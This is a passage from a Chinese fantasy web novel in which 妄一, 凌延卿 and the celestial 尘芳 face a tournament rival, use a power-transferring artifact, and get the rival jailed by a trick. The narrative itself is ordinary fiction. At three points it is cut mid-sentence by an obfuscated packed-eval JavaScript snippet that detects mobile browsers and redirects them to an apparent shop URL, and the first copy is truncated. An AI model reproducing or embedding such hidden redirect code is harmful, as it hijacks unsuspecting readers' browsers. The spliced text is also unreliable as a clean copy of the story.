凌延卿似乎松了口气,笑容温和,柔声应了句“好。”他仿佛一直都是谦卑之人。 仙君问妄一,外人想待在苍鸯殿不是掌门答应就行,既要凌兄名正言顺留下,该用什么法子? 妄一轻点头,道:“从我把他带回那日,就考虑过了,估摸近几日就能出结果。无论他与我有没有‘双生’的关系,只看他同身负咒痕,我就不会放他在外边......” 他没想隐瞒,刚要把自己的想法告知仙君,阿辞便在此时不顾形象地跑进来,喊道:“这么多人,好热闹!大人,您快去看!择英会的名单出来了!” 40. 水到渠成出变故 狐狸报信的速度一等一的快,妄一亦是道:“时间和我预想差不多,名单是该张贴在墙了。阿辞你急成这样,莫不是看见榜上有极厉害的角色?” 阿辞跺了下脚,说:“何止啊!人家左挑右选,不投别处,眼神毒辣的报了咱莲烨门啊!” 妄一脸色大变:“承英那小子没把人防下?!” “哎呦呦,别问我,我这张笨嘴说不清,您亲自去看看就是了!”阿辞走上前来拉大人。 尘芳仙君不知内情,嬉笑地问是谁这么有眼光? 阿辞心如死灰地蹦出两个字:“寒璋。” “你说寒璋?!”妄一猛地站直身体,声线都破了音。 仙君却嘀咕:“我当是万里无极惊天大侠呢,原是个我没听过的名号。” “仙君您别低估了他,您离京一段时日,不知其中变化。”阿辞感叹万千,“您不在,不知道凛海帝姬大老远来找大人算账了,这个叫寒璋的正是她的近身护卫。” “竟有此事?”尘芳语气里添了几分惊讶。 妄一苦笑着,说不出话。 犹记寒璋此人,当年他随帝姬入京,话少,且对每个接近者,无差别的发射警惕目光。特别是对妄一,只因帝姬每回来找莲烨掌门,都要将寒璋支得远远的,不许他偷听。 笙媱上次是私自出逃,独身前来。妄一能代凌延卿选择,那么帝姬自然也能代寒璋选择。其中大概少不了承英推波助澜,否则她从何听说择英会的事? 妄一越想越气,帝姬禁足没办法,那个叫寒璋还出不来吗?他将凌延卿打出局,顺理成章入门任职。留个家贼在身边,莲烨大人届时别想睡安稳觉了。 尘芳忙道:“不对啊,我记得这个择英会,好像需得鬼京在籍之人才能投名吧?” 妄一无奈地撇了撇嘴,规矩是死的,帝姬是活的。加上承英有意,什么在籍不在籍的?先上岸后补票,动动嘴皮子九成了。 不到黄河心不死,一行人出发亲自去看了告示。 黄色宣纸贴在苍鸯殿外宫墙上,关于莲烨门一栏的确有两个名字,其一是凌延卿,其二便是那寒璋。 凌延卿盯着自己的名字,才知原来上回他摁的是这东西。看了片刻,他突然说:“不对。” 妄一正心烦意乱,闻言随口问:“哪里不对?” 凌延卿伸出手指,准确地指向告示上的某个字:“‘延’字写成‘廷’了。”他语气认真,像在纠正一件很重要的事。 同行人用一种关爱的眼光看他,死到临头还分不清该关心哪个。 阿辞忍不住咳了一声,说:“没写错,抄录的小鬼字迹潦草了些,但这上面货真价实,重翻一遍投名状,也没有第二个‘凌延卿’。” 寒璋能从众多青年中脱颖而出,专程守护帝姬安危,随便到凛海打听,便知他是何等出类拔萃。反观凌延卿一个文人,提得动砧板上的菜刀就已不易。 双方上了擂台,一个石头,一个鸡蛋。寒璋都不用出招,光是化回真身,用蛟龙的巨尾一扫,就能把对手扫出鬼京。 事情发展到这一步,已超出妄一的掌控范围,当下只能见招拆招,可要命的是名单一出,择英会最迟五天后召开,按纸上顺序,莲烨门的比试还被放在第一场。 五天,哪怕是五个月呢,这么短的时间如何练成绝世神功? 所有人都被这突如其来的变故搅得心神不宁,唯有凌延卿不甚在意,他该做什么就做什么,半点看不出焦虑。阿辞当凌师傅顿悟是非成败的哲理,殊不知他满脑想的是今晚做什么菜。 情势严峻,阿辞出了个主意:“要不咱们试试贿赂?我不信那个叫寒璋的油盐不进。” 妄一轻拍狐狸圆滚滚的后脑勺,道:“你以为能保护帝姬的,只要本事高强就够了?如果不保证能对主子的忠心,他能混到这份上?” “哼,贿赂不了那就将他绑咯。麻绳不值钱,要多少有多少,先给他一根手腕粗的尝尝鲜,等挨过比试时间,再将他放出来不就行了?”阿辞继续出谋划策。他想的很直接,大家没有利益冲突的时候,你强你的,我强我的,互不干扰。若不小心拦了别人的路,那就要当机立断,先下手为强! “绑他?”妄一咽了咽口水,“阿辞,你绑还是我绑?要绑就得趁早,他一出凛海,我们就要动手了,但你知道的,我出不了鬼京,不能参与到计划里,等他进了京,此事就难办无比。” “这......您不去啊?”阿辞后知后觉,瞬间蔫了下去。 莲烨门的主战力不出面,还有谁能阻挡得了空降的程咬金?尘芳仙君更是眼睛瞟向外面,一副“你别看我”的样子。 阿辞泄了气,道:“我的脑袋瓜子只够给您出这两个主意,要是都不行,您自个儿说说您有什么高见呐?” 妄一摸摸鼻子,当然是计划没定,参与者暂无,前途未卜。 “此事还得从长计议.....” “行行行,您慢慢想,细细想,还有五天时间,长得很呢!” 这场商议在没有得出靠谱的应对措施下,不欢而散。阿辞把能想的法子都说了,连连遭拒,他士气都没了。 他们忧心忡忡,凌延卿始终心无负担。仙君还调侃其不知者无畏,他们沉重的气氛,一点儿都不影响他。 可就算他跟着愁,又能帮得到什么?以妄一的角度来看,凌延卿这几天还是想吃什么就吃什么,不要留下遗憾。 夜里,莲烨掌门弹指熄灭烛火,直挺挺躺在床上,虽闭着眼睛,内心却毫无睡意。 这是他与帝姬的个人恩怨,不该牵扯别人进来。就算没有寒璋,还有暖璋,冷璋,热璋,只要帝姬想,就有无数人愿为她效命。 苦恼之余,好不容易有朦胧睡意,他又闻外面一阵“锵锵锵”,似是金属掘土的声音。 妄一掀开被子,暗想大半夜的不睡觉,是谁不知死活在他门前挖坟动土? 不想推开门,竟见凌延卿弓着背在掘好的坑里,一颗一颗地埋着种子,神色之专注,全然没发觉身后有人。 他身侧放了盏油灯,昏黄的光线打在侧影上。那双手白净分明,却不失男子之力,曾经写过字、作过画,如今拿来握锄头,也是赏心悦目的。 清风朗月下,妄一冷不丁地开口:“大晚上你忙活什么?” 背后突然出声,凌延卿微微一怔。他掸了掸手里的泥土,略带歉意道:“啊,把你吵醒了。” 妄一无语一阵,绕到前面瞧了瞧,不知他独自忙活了多久,手上,衣服上,都是脏脏的泥巴土。旁边的家伙事倒挺齐全,铲子,木桶,还有一包不知名的种子。 “这是胡菜。鬼市的牛伯说此时种下,再加几滴催化水浇灌,大概两个月就能开花。”凌延卿觉得自从那颗海棠树没了,大人嘴上不说,但进进出出心里总有些空落落。 海棠树的树苗难寻吗?并不,但就算找到了,种活了,甚至超越了原先那棵,于妄一来讲,终是不同的。 凌延卿显然想到了这一点,所以才选了胡菜。待花期一到,屋前多了一片黄澄澄的海洋。待花期一过,就能清炒绿油油的菜叶。 “对了,这些种子,是牛伯送的。”他补充一句,像是怕大人要说他浪费。 妄一并未苛责,只道:“原本我那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌延卿被揪得微微前倾,却依旧很平静地说道:“那我如果说了害怕,你就不让我去吗?你是莲烨门的大人,我有危险,你应当会竭尽所能护下我吧。” 妄一的眸光闪了闪,即便有仙君那套“生灵痕相契,前世有渊源”的说法,但他们认识才多久,他就肯给予这份沉重的信任? “嗯,我是想了几个对策,但最后推断出的结果都是无济于事。你们实力相差悬殊,我思来想去,只有一个办法——你弃权吧。”妄一松开手。 凌延卿后退几步,站稳脚跟,他略微着急道:“但我若不去,帝姬就要一路无阻地安排人进你门下。” 妄一心如死灰道:“不必管,你若去了,她不仅能一路无阻地安排人进莲烨门,还能顺手将你挫骨扬灰。孰轻孰重,让你弃权才是明智之举。” 漫漫长夜已过一半,妄一说完就走了。不知对方何表情,他只希望,凌延卿能明白这份弃权的意义。 回屋后,许是那番劳作耗费心神,妄一竟做起了梦。 他梦见刚种下的胡菜种子,眨眼工夫就长大了。窗外黄花摇曳,入目一片灿烂。凌延卿站在金色的花丛间,清风徐徐,拂过他苍白的脸颊,眼神似有留恋。 好一副花间公子图,但下一刻,画面一转,画中人就不见了,取而代之的是一座冰冷的坟墓。 一瞬间,四周色彩全无,残败的黄花也随即转为尘埃。笙媱帝姬站在坟前,手帕轻拭惊霄长矛上的鲜血。 她缓缓转过身,脸上挂着疯魔的笑:“妄一,我说过的,你不要后悔。” 梦中之人,不知自己在做梦。妄一满头是汗的醒过来,回想昨夜让凌延卿弃权的决定,真当是对的! 41. 扭转乾坤借通天 寒璋乃蛟龙族的年轻后裔,因身手极佳,被调遣为帝姬的近身护卫。 心知对方实力强悍,为避免徒增杀孽,妄一说服自己接纳此人算了。可他没问过尘芳仙君的意思。 隔日,凌延卿外出未归,仙君捧着一只锦盒而来,并扬言这是他压箱底的宝贝,小心端着,一路走来都不敢松懈。 妄一没兴趣看什么奇珍异宝,尘芳不太高兴道:“在你眼里,我就是个不分轻重缓急这人?听好了,这是助你度过危难的宝贝!谁要你鉴赏了?” 恰逢阿辞也在,他是最买仙君面子的,嬉笑着打圆场:“仙君,我领您的情,敢问这是何物啊?” “嗯,还是你识货!”尘芳兴致勃勃介绍起来,“此物名为‘借通天’,是我多年前费了许多金银,在古玩堆里捞到的。” 借通天曾是魔界器物,后因魔界没落,被天庭吞并,许多事物销声匿迹。借通天阴差阳错流落至此,尘芳看见时,它跟亡国贵族似的躺在“奇乐斋”一堆不值钱的玩意儿里。 尘芳仙君出手大方,奇乐斋掌柜割爱。但将宝物带回,一通尝试过后,方知它失了灵气,与寻常物件没有太大不同。 尽管如此,仙君仍喜不自胜。遇上懂行之人认出借通天在他手里,他那满库珍藏都要平添几分身价。 “我得了这宝贝,耗费大把精力修补,虽不能恢复如初,但解决你们眼下的困局,应当够了。”尘芳面带得意,全然没有意识到堂堂仙君,私藏魔界旧物有何不妥。 妄一半信半疑道:“你是说这东西能让凌延卿法力大增?到了比试那日,他就能一掌震山,一脚裂地?” “别胡乱臆想!借通天是用来借东西的!”尘芳黑了黑脸,“只不过它所借并非世间俗物,不是我说大话,若在鼎盛时期,让它转移掉你们身上的罪孽咒痕都不在话下,但如今,它至多只能将两人的法力暂时转移。” 凌延卿没有上擂台本事,可妄一有啊。只要债主应允,借通天自会吸取法力,灌输给毫无根基的凌延卿。 “我深思熟虑才决定让它出山,珍藏多年,养它多年,修补多年,今日就来验证一下成效。” 仙君打开盒子,缝隙里一道紫光迫不及待照射出来。 “都过来!都让你们见识见识!本君出手,必属精品!” 阿辞不顾这刺眼的光,睁大眼睛,兴奋地往里瞧。 锦盒的缝隙越开越大,借通天的真颜近在咫尺。就在即将露出全貌的刹那,妄一却拿手一压,盖子重新合上,屋里四处散落的光,瞬间又被收了回去。 两道疑惑的眼神齐齐投向他。 妄一惆怅道:“忘了告诉你们,其实我昨夜与凌延卿谈过了,打算让他放弃择英会。” “怎么回事?你们都聊什么了?”尘芳关心道,“一夜未见,你受刺激了不成?有宝物辅助,还畏手畏脚起来,这可不像莲烨掌门的作风。” 阿辞亦赞同道:“大人要凌师傅参加,又不是为一己之私。他有正经身份,才好名正言顺待在您身边,共偿咒痕之罪啊。” 妄一眉头紧锁,他不同意自然是有理由的,一想起昨夜的梦,他便感到惴惴不安。 正当他摇摆不定时,凌延卿走进屋,自告奋勇道:“我愿一试。” 他带着坦然的笑,大抵在外面听见了他们的讨论,连刚买回的菜都没来得及放,就闯了进来。 尘芳仙君对来人竖起大拇指,说:“我就知道凌兄相貌堂堂,必也有人格魄力。比试的胜败先不说,单是你这份勇气,定也叫那寒璋惊艳三分!”说罢又转向妄一,“老弟,你听见了,人家都摆出态度来了,你更该爽快点,不许再说‘不’了!” 妄一欲言又止,最终还是艰难地点了头,答应试试。 尘芳欣慰道:“这才对嘛,结果尚未可知,咱们是做大事的人,不要怕这怕那的。” 锦盒再度打开,这次没人阻止。盒子迸发的诡秘之光,照得屋内四人如临奇境。 待光线消退,绸布上躺着一枚硕大的水晶球,底下的金属托架雕工精细,延伸出一条寒光长虫。此虫生独角,蛇身长翅膀,它将水晶球牢牢缠绕。晶体漂浮着絮状之物,仙君却说这是借通天的本源灵力。 阿辞被深深吸引,忍不住想伸爪盘一盘它,尘芳急忙打掉他的手,低声喝止:“这可不行!无修为的人直接触碰,稍有不慎便会被它吸尽精气,化为干尸!” 阿辞原想埋怨仙君小气,一听解释,顿时惊恐万分,心想不愧是魔界旧物,足够邪门霸道。 一旁同样毫无修为的凌延卿,听到此物的可怕之处,却显得镇定。 妄一郑重询问他:“你真的决定好了?现在还有反悔的机会。” “一言既出,驷马难追。”他语气坚定。 仙君也帮腔:“妄一,你别小看凌兄。” 动用借通天前,尘芳仙君让他们两位站在对角的方位上,并叮嘱掌心对着水晶球。 明明第一次使用,尘芳表现得十拿九稳。在一串咒语下,紫色水晶逐渐渐渐染上妖冶之色,尘芳双手结印,运气发功,指尖的仙气如云雾般灌入其中。 阿辞心中生畏,悄悄后退几步,远远观望。 稍过片刻,水晶便呈风云涌动之态,一圈接一圈的光波从中心扩散开来。 妄一能感受到自身的白气从掌心一道一道飘出去,经过借通天的流转,冲向凌延卿。 凌延卿的魂灵本就虚弱,输送给他法力就像在灌溉一棵干涸的草木,水量控制不当,非但救不活,反倒会将其淹坏。 妄一想脱手,但手掌像被定在半空,如何努力都移动不了分毫。 凌延卿的脸色越来越白,像他身上的素衣,干净不带颜色。他却只轻蹙双眉,静静与人对视,没有退却之意。 “快停下!!!快停下!!!”妄一大喊着。 借通天陡然爆发出一道灼眼的强光,他与凌延卿几乎同时栽倒在地,不省人事。 阿辞身姿矫捷地撑起大人的身体,但由于身量矮小,妄一整个人压在他身上,他拐了几脚勉强才能站稳。 尘芳则腾出手,搀住凌延卿的胳膊,把他放倒在就近的椅子上。 “仙君,他们怎么都晕过去了?!” “无妨,我已最大限度降低借通天的恶性,他们不会有事,只是因法力的转移,兴许要睡个一两天才能醒来。在这期间,你就别让你家大人见外人了,借通天一下抽走他九成功力,流失那么多,必须好好静养。” 阿辞认真记下,一个字不敢漏。可说完这些,仙君就因耗费仙力,马上打坐入定了。 阿辞无助地看了看毫无知觉的另外两人,心想这是老天给他的磨难,让他有苦肩上扛啊。他哼哧哼哧的先挪这个,再搬那个,连拖带拽地把他们安顿回各自的床榻。 借通天后劲太大,令他们二人同时昏迷。 朦胧间,妄一仿佛又回到灰白的梦中。帝姬依旧在这里等他,眼神怨恨,红唇一张一合。 他留心辨认,方知那是长长一串咒骂。他想解释又无从开口,只能一遍遍地说“对不起”。 “醒醒!醒醒!大人快醒醒!” 阿辞的画外音闯进耳朵,妄一张开眼。 “大人,我守了你几天,你再不醒,我真不知道要怎么办了!”阿辞欣慰地拿帕子给他擦脸,“您感觉如何了?身上有没有不舒服的地方?” 眼前的景物还有些虚幻,汗水把妄一的里衣都给浸湿了,他疲惫地摆摆手,说:“没有。”他此刻虽能动弹,但气色大不如前。 这几天,狐狸半步没离开莲烨门,万分关注这两人的状态,怕稍有闪失,一个变僵硬了,另一个变烟雾了。如此尽心尽力,他也乏累极了,但能怎么办,像他这么善良的妖怪能撇下一走了之吗?只好把怨气撒在帝姬头上,没事就在屋里骂几句解气。 “对了,大人,我有事想问你。”阿辞舔了舔嘴,眼神犹豫。 妄一道:“问什么?” 阿辞有几分不好意思,低声道:“您......您说实话,您对帝姬真的没有意思?您告诉我,我绝对不往外头说。” 妄一表情骤变,一掌拍在床沿上,气血直冲天灵盖。 “哎呀,您说不是就不是!您说什么我都信!”阿辞扶住他,无比焦急,“您不知道您昏迷时,懵里懵懂念了好几遍帝姬。” “......我念她,不是因为思慕她!而是我......”妄一咳了几声,没把“害怕”两个字说出去。他若无其事地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027524|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼床边的挂账,道:“不管怎样,这几天多亏你忙前忙照应了。” 阿辞摇了下尾巴,说:“我这都是举手之劳,反正我本就睡得少。”可他刚说完,就不争气地打了哈欠。 妄一知他辛苦,让他快去歇歇。 床侧的窗户正开着通风,妄一想寻水喝,无意瞥见那晚种下的胡菜,此时已露了一截苗头。 “不好,我睡了几日了?!” “......六日,您睡了差不多六日了。” 六日?!妄一闻言,两眼失焦。他怎么会睡那么久?择英会如何了?凌延卿在哪儿呢? 阿辞惊道:“大人别吓我,我累得腰酸背痛,您再倒下,我可经不起折腾了!” 妄一虚虚地抓住狐狸的手腕:“阿辞,比试是谁赢了?” 阿辞有所闪躲,支吾道:“先别管这个了,我现在去给您弄点大补之物,等吃完了再商讨后面怎么办。” 他不肯明说,妄一从他掩饰的态度里猜到了结果。 “我去看看凌延卿吧。” “不用看,不用看!我照顾您的时候,每隔一会儿就去看看他,他......好着呢,就是还没睁眼罢了。” 这段期间,尘芳仙君也来探望过几次。大人的情况似在慢慢恢复,但凌师傅因为魂魄本就羸弱,醒来的时间也会拉长,究竟多长,仙君也说不准。 妄一撑着身体,道:“我去看看,你让开。” 阿辞无奈,只得听话当大人的拐杖。 茅庐的那张小竹榻是凌延卿休息的地方,竹榻靠近一扇半支起的木窗,柔和的日光,照拂在他身上。 上次见他这么安静地躺着是什么时候?妄一思绪放空,好像是在琳琅园的棺木中,他规规矩矩,穿着入殓衣。 “大人,仙君都说他没事了,或许就比您晚一会儿醒了。” 妄一不接话,他没想到借通天这魔物有如此大的副作用。但看凌延卿一动不动,便觉得还是叫仙君再来仔细看看。 “仙君他......我不清楚他在何处。”阿辞慢慢思索,“你们躺了许久,仙君很是自责,眼看择英大会将至,他抛下句‘不能便宜了那恶龙’后,就甩手离开了。” 借通天是尘芳花费诸多心血修补的,外表修得差不多了,可内里多少差点意思。许是因为这个,导致他们昏迷。 妄一并无责怪之意,做任何决定前都该有直面失败的勇气,这是师父教他的道理。只是没想到,最受苦的是凌延卿。 “阿辞,你去歇着。我没事,可以照顾自己。” “......好,那您当心些,我就在隔壁。”阿辞几天没睡太平觉了,说话的声音略微有些沙哑。 妄一应了声,坐在凳子上,一手搭桌上。 阿辞说小睡一会儿,但没想到再醒就是日下山头了。他慌忙穿了鞋子往茅庐跑,见大人维持先前的姿势坐着,而凌师傅也依旧老实地躺着。 他长叹一声,道:“您真行,一动不动被定住了似的。” 妄一道:“干坐而已,我从前练功都要在瀑布底下扎半天马步。倒是他......他才是真正的一动不动。” “您别那么悲观,凌师傅面容平和的,有什么话,等仙君来了再说。”狐狸打理头上胡乱翘起的毛发,安慰道。 “他要来早就来了,迟迟不现身,可见是因为还没想到法子。”妄一惆怅道,“阿辞,你鬼主意多,想想还能怎么办?” 阿辞把手揣进袖口,还能怎么办?他们两个睡去的六天里,他锣也敲了,鼓也打了。就是聋子,也该被吵醒了。若他们真撒手人寰,他可能得去找白水娘娘了。 “没错!”阿辞耳朵竖得笔直,眼睛忽然澄亮,“大人,白水娘娘一定有办法!” 妄一深感遗憾道:“想过了,可娘娘受邀去金陵仙洲,尚未归来。” 刚燃起的希望,再度破灭。阿辞这张能说会道的嘴,也跟着上了锁。 就在他们悲愁交加时,消失几天的尘芳仙君神采焕发,再度出现。 他神情异常兴奋,进门就将一块红布往桌上一拍。 “妄一老弟,不枉老弟为你辗转多地,劳心劳力,你这位叫‘凌延卿’的大将,莲烨门是添定了!” 42. 远赴择英陷牢狱 仙君将红布展开,首行写的是“莲烨门”,下行却将“寒璋”二字划去,唯“凌延卿”旁边添了个“胜”字。 “这到底怎么回事?”妄一认得这撕来帛书,货真价实乃琴升门专用之物。回望榻上之人,确认其还安安稳稳躺着。 凌延卿大门不出,二门不迈的,魏征能梦斩泾河龙王,难道他也行? “停停停,别把事情想得那么玄乎,他能胜出,全靠本仙君卧薪尝胆,苦心孤诣。”尘芳眉毛一扬,“这会儿你们再不夸夸我,可太说不过去!” 阿辞惊呼道:“仙君几日不见踪影,难不成是去找寒璋单挑了?” “单挑啊——”尘芳拉长音调,懒懒地道,“非也非也,我做仙君的,自然要用文明的方法。” 他本想化作白誉真君座下的仙使,去一趟凛海寂地,但料到帝姬大概不会卖未来夫君一个面子,所以就苦思冥想,找找是否有比这更靠谱的法子。为此,仙君绞尽脑汁,头发都掉了几根,最后在凛海的地界线上,巧遇正要启程的寒璋。 原来此人刚出龙宫,怪不得尘芳找遍地方,甚至翻了近段时间进出鬼京的登记册都无他姓名。一到凛海,才知这厮狂妄如此,竟在比试召开前夕,堪堪动身远行。 尘芳悄无声息地尾随其后,这个叫寒璋的,磨磨唧唧地出凛海寂地,又愁眉锁眼地来到鬼京,他不急着去苍鸯殿报道,而是先找个饭馆坐下,并闷闷不乐地盯着还没上菜的空桌板发呆。 诸多现象重重叠加,仙君掐指一算,瞬间了然——莲烨门千忧万虑之难题,不料寒璋根本志不在此。 既然本人不想参与,那这事就好办多了。 尘芳摇身一变,化成游方术士进了馆子。因是饭点,馆内座无虚席,便给他创造“拼桌”的借口。 寒璋打量来人一眼,见其生得磊落端正,点了点头,同意了。 如此,劝降的第一步便已得逞。 尘芳乘胜追击,连声夸人阔达等等,本想借褒奖之词拉拢拉拢,寒璋却警惕起来,问对方想做什么? 他不会在此久留,也不想在不相干的人身上花费精力,但若有人想寻他麻烦,他不介意现在就给对方好看。 尘芳低头一笑,明白了,原来猎物喜欢直白的方式。 “我游历四方,借‘广结善缘’之道义,自助修行。见阁下打扮,便知是外来人,且眉宇间有郁气萦绕,我不自量力看看可否破解一二?” 这番正经回答并未获得寒璋的好感,他谨慎地盯着尘芳,说道:“休要与我啰嗦,吃完东西就离开这里,我的忙,你帮不了分毫。” 好大的口气!尘芳无所谓道:“拼桌也讲究个‘缘’字,阁下不珍惜,我也不能强求,就先祝阁下旗开得胜,不辱使命吧,在下告辞。” 他这招欲擒故纵的计策用得极妙,寒璋站了起来,伸手把他拦下,逼问:“你这话是什么意思?” “我什么意思,阁下应当明白。”尘芳平静应付,眼睛回望的瞬间,带有仙人的威严,直照人的心底。 寒璋面若冰霜,这半路蹿出来的术士说的没错,他确实不是心甘情愿来到此地,也不是自觉自愿地参加选拔。可帝姬有言在先,若负使命,败于此会,他便不必再回去了。 要赢不难,但他自修行有成以来,一直为蛟龙族效命。他若赢了比试,又怎甘愿为莲烨门驱使? 寒璋早在多年前就发过誓,他生是帝姬的人,死也是帝姬的鬼。 “你要怎么帮我?”他严肃道,“你别给我耍花样!” 尘芳唇角微扬,帝姬的护卫固然谨慎,但也防不住天上的仙君技高一筹,虽然这态度嘛,是恶劣了点儿。 眼看大计将成,尘芳故作高深,撂下一句“在此等候”的话语,便一抖宽大的袍子,扬长而去。 寒璋起身追出门,不过眨眼的工夫,拥挤的大街就不见术士的踪影。 饭馆掌柜还以为他怎么了,倚在柜台上招招手,道:“客官,您点的菜差不多要上桌了,退不了,您有要紧的事,小店可以打包。” “不必。”寒璋在街上站了一会儿,确定揪不出那个野术士后,对外骂了句“装神弄鬼”,才折返回店。 听到这里,阿辞仍未品出计划的重头戏在哪儿。 尘芳捏着扇柄,乐道:“你们有所不知,他因琐事上头,感官比以往懈怠不少,就连我在桌底对他的钱袋子‘点金成石’也没发觉。那饭馆掌柜虽讲究和气生财,但最后也只能和气地报了案。” “......所以寒璋被抓去蹲大牢了?”阿辞眨眨眼,“仙君是想用牢狱之灾来拖住他吧!” 尘芳摊了摊手,不置可否。 “吃霸王餐的罪名关他两三天就能放出来了,而且我本就打算等他与凌兄弟的比试过了,就回去捞他。可他拼命挣脱,打伤了恨殊门的人,现在好了,被判服役三个月,他可该心满意足了。” 因一个莫须有的罪名,受了天降的冤枉。虽然寒璋后来推敲出尘芳那句‘在此等候’的深层意味,但那时他已戴上镣铐,成了监狱里的一员。 寒璋去不成择英会,尘芳转头就问司命老爷借来木偶,点睛化作凌延卿的样子,去擂台处画个卯就胜出了,只是这具木头动作略微迟钝,琴升大人就站在旁边,一双眼睛笑意绵绵,似是看出来了,又似是没看出来,总之有惊无险,没多问就是了。 妄一忍不住问:“那现在呢?寒璋现在还在牢里?” 尘芳挥了下手,说:“这哪能?是我诓他进去的,自然也要我去把他放出来。” 寒璋这个大威胁解除了,尘芳又以术士身份重回饭馆,跟掌柜作了解释,说人家当时把钱掉柜台底下,并非有意吃白食。掌柜摸到钱了就快去撤案吧,迟了等莲烨大人翻卷复查,知他钱也拿了,人也被告进去了,少不了又是一番折腾。 但新的问题又出现了,吃白食的名头能撤去,打差役的罪行却赖不掉。尘芳只好亲自登门,与恨殊大人说说情,终于以罚金刑代替,将人救了出来。 阿辞偷笑道:“仙君大人,您都是仙君了,要把那寒璋放出来,不就摆一摆架子的事,还要这么麻烦?” “不可能,蠢货才会对钦锋摆架子。”妄一抢着答道。 恨殊门负责审理案宗,掌定刑之责。没设立莲烨门前,钦锋在这个位置上可谓一手遮天。不过他该做的,不该做的,分得清清楚楚,言行举止公正无私。如此性格,别说是尘芳,就算是白水娘娘,也不能用强权压他。 “不错,而且我是‘以理服人’的仙君,又不是胡搅蛮缠的土匪。”尘芳哼声道。 寒璋不能如约赴会,他蹲在南路狱,不吵不闹,和他共处一间的狱友都忍不住开导:实在伤心就痛哭一场吧,男人在牢里不必故作坚强。 寒璋不语,只凝视墙上那道离地很高的裂痕,一缕阳光从缝隙中投射下来,落在他阴晴不定的脸上。良久,终于接受现实,找了块勉强称得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036806|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上干净的稻草地,盘腿坐下。 坐牢的法子听上去埋汰,但的确帮他躲过了择英会,往后回禀帝姬,他就能说是奸人暗算,致使无缘参赛。 他将脑袋靠在墙上,悲哀地想:被判的三个月,就当游历吧,对,在苍鸯殿的大牢里游历。 寒璋他接受了命运,但某天大早,狱卒就笑吟吟点他的名。 “你运气好,刚进来没几天,就有人保你出去。” “谁?”他抬头追问,“是帝姬来了?” 狱卒收到的指令只管放人,哪管别的七七八八?送走前,还按吩咐带他去澡堂梳洗梳洗,理了理头发,修了修胡渣。 半个时辰后,寒璋焕然一新地出现在善恶大道的街头。 他似乎是被人粗暴的抓进去,后又被人客气地赶出来。短短几日,犹如做梦一般无解。 凌延卿虽没好转,但庆幸的是,托尘芳仙君的福,二人不用在擂台上打照面了。 “别人都醒了,他也没道理再昏着啊。”尘芳皱眉,顺带拍了凌延卿两下,“唉,没辙了,倘若天黑之前还不醒来,只能用杀手锏了。如果连这都不成,估计也就这样了。”仙君语气难得严肃,听得别人紧张不已。 尘芳清了清嗓音,道:“老弟,别愣着了,快去取你的‘阎王还命汤’,它的配方只有你晓得。” 莲烨门常年自备跌打损伤各类药,妄一将各个药瓶回想一遍,问:“什么阎王还命汤?” “你不知道?”尘芳扭头对阿辞道,“你呢?你该记得吧?” “我?”阿辞那双狐狸眼滴溜溜转了一圈,不知想起了什么,脸色霎时变得难看。 “仙君莫非是指.......我.....呕!”话没说完,阿辞像是勾起某种恶心的回忆,跑到门口,低头狂吐。 妄一指指阿辞的背影,问尘芳这是何意? “意思就是......咳咳,你记不记得先前亲自下厨,赐他鲜汤一事?”尘芳提点道。 这一说,妄一似乎有些印象,再细一琢磨,他突然大彻大悟。 此事要从他们发现凌延卿擅长下厨的优点说起,彼时妄一也有跃跃欲试的想法。他从未下过厨,却是个说干就干的性子,且自创菜式,作品刚完成,阿辞就送上门了。 回想那天,外面是和风习习,万里晴空。 蓝色的羹汤,果然可以逼退一个人的食欲。顶着大人满怀期待的眼神,阿辞艰难地渐试一口。可这手好像有了毛病,握着勺子死活送不进嘴里。 妄一好心帮忙投喂,勺子入口的瞬间,味蕾与食物紧密相触,阿辞的表情倏尔狰狞。他推开大人,四只蹄子冲到湖边,迫不及待把头埋进水里。好像只有这样,才能彻底冲刷食道。 后来阿辞与仙君闲聊,还夸大人的厨艺实在是太高端了,从目前来看,没人能欣赏得来。 仙君便赐名其为“阎王还命汤”,生者食之送命,生死不明者还命,列入莲烨门的珍宝之一。 可是妄一已经忘了要怎么做了。 “这有什么关系?你就按照仅剩的记忆,随便调配调配,差不多就是解药了。” 也是,死马当活马医吧。妄一卷起袖子,大步走到伙房。 不知在搞什么名堂,下厨就下厨,时不时的传出一阵叮叮当当打铁声,听得外面的人一惊一跳的,甚至快收尾了还有锯木声。 大功告成,妄一端着一碗黑漆漆的汤水走出来,表情却虔诚无比。 43. 莲烨珍宝还命汤 这碗汤对阿辞有不可磨灭的阴影,他避得远远的,瞄都不敢瞄,可大人点评的声音仍旧钻入他耳中。 “事发突然,佐料也没放全,凑合着试试吧。” 阿辞无端“呕”了一声,舌头的记忆顿时复苏,再度飞跑出去蹲着。 尘芳过来一瞧,漆黑的汤面上,漂浮几株野生菌。良好的素养,让他没对汤指手画脚,端过碗,挤开凌延卿的嘴。 